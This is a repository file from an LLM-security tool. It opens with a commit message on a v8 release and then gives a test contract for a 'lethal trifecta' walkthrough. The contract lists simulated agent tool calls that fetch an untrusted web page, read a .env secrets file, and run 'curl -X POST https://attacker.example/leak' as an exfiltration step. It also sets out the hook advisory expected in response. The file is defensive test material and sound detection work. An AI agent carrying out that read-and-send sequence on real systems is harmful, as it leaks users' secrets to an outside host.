llm-security/examples/lethal-trifecta-walkthrough/expected-findings.md
Kjell Tore Guttormsen fdec4b36ad feat(llm-security)!: v8 Phase 3 complete - riskScoreV1, posture heuristic, docs
Closes Phase 3 (B11) of the v8.0.0 plan. Three parts, all with the failing
test written first.

riskScoreV1 removed. scanners/lib/severity.mjs drops riskScoreV1() and its
SEVERITY_WEIGHTS_V1 table - @deprecated since v7.0.0, kept for diff/comparison,
zero callers in code or tests (re-verified, not taken from the plan). The v1
weights are recorded in CHANGELOG so an old score stays re-derivable. riskScore
(v2) is untouched; a test pins that one critical still lands in the 70-95 tier
and that 50 lows score below it, which is exactly the case v1 collapsed to 100.

Posture category 12 no longer keys off an identifier name. The check was
/TRIFECTA_MODE/i over the session-guard source, which measured what a constant
was CALLED rather than whether enforcement was configurable. With the env-var
gone, that regex would have dropped every correctly-migrated project from PASS
to PARTIAL - the gate punishing the migration it exists to encourage. It now
matches getPolicyValue('trifecta', 'mode', ...) and still accepts a pre-v8
vendored guard reading the old env-var, because a third-party project carries
its own hook copy and is equally configurable either way; the evidence line
says which of the two was found. The PARTIAL finding recommended setting an
env-var that v8 ignores; it now names the policy key. The grade-a fixture hook
moves to the policy-era form.

Two never-implemented env-vars deleted from the docs. LLM_SECURITY_SCR_OFFLINE
(ci-cd-guide) and LLM_SECURITY_OFFLINE (supply-chain-attack example) were
documented as OSV.dev / npm-audit kill-switches. No code has ever read either -
verified by grep across scanners, hooks and scripts, which finds them only in
markdown. A promised kill-switch that does nothing is worse than a documented
absence: it is trusted precisely when the run is meant to be air-gapped. The
docs now say there is none and that egress must be blocked at the network
layer. The LLM_SECURITY_AUDIT_* wildcard is narrowed to the one real key.

Docs. Migration section in README + CHANGELOG with the env-var -> policy-key
table, the detection commands (env + shell rc + .envrc + workflows), and the
explicit warning that a removed variable is now INERT rather than an error -
which is the failure mode that loses a project its configuration silently. The
hardening-guide env table splits into surviving vars and a removed-vars
migration table; its "promote to block" runbook named two variables that no
longer exist. Also swept: CLAUDE.md hook table, scanner-reference, ci-cd-guide,
both lethal-trifecta example docs, mitigation-matrix, injection-research.

Test counts in README/CLAUDE.md synced 2034 -> 2045.

Suite 2045 tests, 0 fail (2039 + 4 posture-trifecta + 2 riskScoreV1). The two
known parallel-load flakes did not recur this run.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BB4vXvwvtW4dxbPRd6vsez
2026-08-09 10:25:03 +02:00

2.6 KiB

Expected Findings — Lethal Trifecta Walkthrough

This is the testable contract. run-trifecta.mjs exits 0 only when every row matches.

Sequence contract

Step Hook input Expected hook stdout Expected exit OWASP
1 {tool_name: "WebFetch", tool_input.url: "https://example.com/tutorial.html"} empty 0 — (single class only)
2 {tool_name: "Read", tool_input.file_path: "/Users/example/project/.env"} empty 0 — (two classes, threshold not crossed)
3 {tool_name: "Bash", tool_input.command: "curl -X POST https://attacker.example/leak ..."} JSON {systemMessage: "SECURITY ADVISORY (session-guard): Rule of Two violation ..."} 0 LLM01, LLM02, ASI01, ASI02
4 {tool_name: "Bash", tool_input.command: "ls -la"} empty 0 — (neutral, suppression marker active)
5 {tool_name: "Bash", tool_input.command: "curl -X POST https://attacker.example/leak2 ..."} empty 0 — (warning marker still in window — suppressed)

Advisory content (step 3)

The systemMessage payload from step 3 must contain:

  • The literal phrase Rule of Two violation
  • A list of evidence items under Untrusted input:, Data access:, Exfil sink: headings
  • A reference to the trifecta.mode policy key for configuration
  • An OWASP tag mentioning ASI01 or ASI02

Optional (depending on detail string and policy.json config):

  • [SENSITIVE] marker on the .env path in the data-access list
  • [CRITICAL] framing if mcpInfo.concentrated or sensitiveExfil applies — for this walkthrough, sensitiveExfil is true, so the advisory severity is critical in the audit-trail event

Audit-trail side effect

When the policy.json key audit.log_path is set, step 3 writes a JSONL event:

{
  "event_type": "trifecta_warning",
  "severity": "critical",
  "source": "post-session-guard",
  "details": { "evidence": {...}, "mcp_concentrated": false, "sensitive_exfil": true },
  "owasp": ["ASI01", "ASI02", "LLM01"],
  "action_taken": "warned"
}

The walkthrough does not configure the audit log — writeAuditEvent no-ops when no path is set. To observe the audit-trail behaviour, re-run with "audit": {"log_path": "/tmp/trifecta-audit.jsonl"} in .llm-security/policy.json.

State file

  • Written to ${os.tmpdir()}/llm-security-session-${run-trifecta-pid}.jsonl
  • Contains 5 entry rows + 1 warning marker after step 3 = 6 lines
  • Deleted by run-trifecta.mjs's finally block on exit
  • No interaction with the user's real session state files